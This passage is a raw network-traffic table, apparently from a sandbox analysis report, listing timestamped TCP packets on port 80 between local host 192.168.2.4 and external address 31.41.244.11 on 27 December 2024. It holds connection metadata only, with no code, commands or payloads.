Dec 27, 2024 08:46:30.365833998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.366751909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.366801023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.366852045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.366893053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.367830992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.367896080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.367922068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.367944002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.368928909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.368983030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.369024038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.369065046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.369998932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.370050907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.370090961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.370131016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.371104002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.371155977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.371196032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.371232033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.372169018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.372217894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.372246981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.372287035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.373230934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.373276949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.373282909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.373317957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.374284029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.374327898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.374377012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.374417067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.375336885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.375382900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.375437021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.375477076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.376406908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.376461029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.376480103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.376521111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.377490997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.377541065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.377593994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.377636909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.378566027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.378674030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.378711939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.378751993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.379625082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.379669905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.379736900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.379776001 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.380709887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.380764961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.380808115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.380847931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.381772041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.381830931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.381887913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.381927967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.382863045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.382936001 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.382951975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.382994890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.383903980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.383955956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.384010077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.384047031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.384982109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.385036945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.385076046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.385112047 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.386046886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.386094093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.386167049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.386204958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.387145042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.387193918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.387250900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.387290001 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.388191938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.388236046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.388300896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.388339043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.389282942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.389358997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.389364958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.389398098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.390353918 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.390398979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.390454054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.390494108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.391437054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.391482115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.391522884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.391561031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.392446995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.392493963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.537729025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.537801981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.537919998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.538170099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.538228035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.538261890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.538306952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.539227009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.539278030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.539308071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.539347887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.540329933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.540385008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.540433884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.540472984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.541353941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.541407108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.541445971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.541487932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.542442083 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.542495012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.542531013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.542577028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.543536901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.543586969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.543641090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.543687105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.544576883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.544635057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.544709921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.544754028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.545634985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.545682907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.545753956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.545799017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.546749115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.546801090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.546832085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.546871901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.547792912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.547842979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.547899008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.547941923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.548892021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.548943996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.549009085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.549050093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.549938917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.549989939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.550057888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.550100088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.551031113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.551084995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.551124096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.551179886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.552128077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.552184105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.552218914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.552263975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.553145885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.553195953 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.553256989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.553303003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.554240942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.554292917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.554320097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.554368973 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.555321932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.555371046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.555409908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.555454969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.556387901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.556442022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.556478977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.556525946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.557456970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.557509899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.557549000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.557596922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.558527946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.558579922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.558621883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.558665991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.559617043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.559675932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.559710026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.559751987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.560678005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.560734987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.560805082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.560851097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.561727047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.561780930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.561846018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.561892986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.562815905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.562869072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.562935114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.562980890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.563880920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.563934088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.563997030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.564040899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.564963102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.565026045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.565150023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.565200090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.566040039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.566092968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.566133022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.566178083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.567118883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.567173004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.567210913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.567255020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.568191051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.568253040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.568285942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.568334103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.569261074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.569312096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.569354057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.569399118 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.570358992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.570410967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.570430040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.570473909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.571400881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.571459055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.571501017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.571547031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.572501898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.572554111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.572587967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.572643995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.573549032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.573596001 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.573637962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.573683977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.574620962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.574667931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.574706078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.574749947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.575685024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.575733900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.575773001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.575834036 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.576771021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.576822996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.576862097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.576910019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.577830076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.577878952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.577934027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.577991962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.578900099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.578953981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.579010963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.579061031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.579971075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.580040932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.580081940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.580130100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.581063986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.581118107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.581151962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.581197977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.582112074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.582163095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.582228899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.582294941 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.583237886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.583285093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.583301067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.583343029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.584286928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.584338903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.584340096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.584382057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.585340023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.585393906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.585427999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.585474968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.586411953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.586482048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.586553097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.586600065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.587497950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.587511063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.587562084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.587582111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.588546991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.588598013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.588644981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.588692904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.589656115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.589713097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.589746952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.589818954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.590701103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.590765953 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.590806007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.590852022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.591792107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.591811895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.591842890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.591859102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.592859030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.592906952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.592947006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.593040943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.593950987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.594005108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.739120960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.739159107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.739192009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.739242077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.739528894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.739568949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.739655972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.739691019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.740537882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.740578890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.740600109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.740633011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.741600990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.741655111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.741694927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.741735935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.742712975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.742758989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.742799044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.742837906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.743763924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.743818045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.743856907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.743892908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.744822025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.744868040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.744926929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.744966030 CET	49839	80	192.168.2.4	31.41.244.11
